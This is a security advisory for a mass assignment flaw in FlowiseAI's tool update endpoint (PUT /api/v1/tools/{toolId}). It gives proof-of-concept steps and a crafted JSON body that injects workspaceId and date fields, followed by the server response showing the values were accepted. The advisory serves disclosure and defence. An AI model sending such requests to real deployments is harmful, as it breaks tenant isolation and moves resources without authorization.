OSV 1.4.0 · github-reviewed · 修改于 2026-06-09 21:09
发布时间
2026-05-14 22:52
GitHub 审查时间
2026-05-14 22:52
NVD 发布时间
2026-06-09 00:16
源文件
advisories/github-reviewed/2026/05/GHSA-x5v6-pj28-cwwm/GHSA-x5v6-pj28-cwwm.json
A Mass Assignment vulnerability exists in the tool update endpoint of FlowiseAI.
The endpoint allows authenticated users to modify server-controlled properties such as workspaceId, createdDate, and updatedDate when updating a tool resource.
Due to missing server-side validation and authorization checks, an attacker can manipulate the workspaceId field and reassign tools to arbitrary workspaces. This breaks tenant isolation in multi-workspace environments.
The endpoint responsible for updating tools:
PUT /api/v1/tools/{toolId}
accepts a JSON request body containing tool metadata.
However, the server does not restrict which properties may be modified by the client. As a result, user-controlled request bodies can include additional fields that should normally be controlled only by the backend.
Server-controlled fields that can be manipulated include:
The request body is directly merged into the underlying database entity without proper DTO validation or authorization checks.
Authenticate to the Flowise interface.
Capture the request used to update a tool:
PUT /api/v1/tools/<TOOL_ID>
Content-Type: application/json
Modify the request body by injecting additional fields:
{
"name": "aaa",
"description": "bbb",
"color": "linear-gradient(rgb(109,215,45), rgb(136,170,134))",
"schema": "[]",
"func": "",
"iconSrc": "test",
"workspaceId": "11111111-2222-3333-4444-555555555555",
"createdDate": "1995-03-06T14:17:50.000Z",
"updatedDate": "1995-03-06T14:17:50.000Z"
}
Send the request.
Observe that the response includes the manipulated fields:
{
"workspaceId": "11111111-2222-3333-4444-555555555555",
"createdDate": "1995-03-06T14:17:50.000Z"
}
This confirms that client-controlled values are accepted and persisted by the server.
This vulnerability allows authenticated users to manipulate internal attributes of tool resources.
Confirmed impacts include:
In multi-tenant deployments, this may allow an attacker to move tools between workspaces without authorization, breaking tenant isolation boundaries.